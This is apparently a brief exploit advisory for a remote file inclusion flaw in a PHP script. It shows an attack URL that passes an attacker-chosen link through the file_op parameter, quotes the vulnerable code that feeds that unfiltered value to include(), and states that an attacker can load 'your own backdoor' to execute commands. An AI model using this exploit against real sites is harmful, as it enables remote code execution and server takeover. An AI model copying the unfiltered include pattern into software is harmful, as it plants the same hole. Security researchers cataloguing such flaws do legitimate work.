[~] Exploit :

http://www.site.com/index.php?file_op=[url]

Vulnerable code source :

if(!isset($file_op))$file_op='';

if($file_op!="")

{
$op_basepath = trim(strrev(strstr(strrev($file_op),"/php/")));

    if($op_basepath!='') $op_basepath = str_replace("/php/", "/", $op_basepath);

    include($file_op); 

}

The problem is that the variable $file_op is not filtered

Then, you can put the link that you want, like your own backdoor

and execute commands.
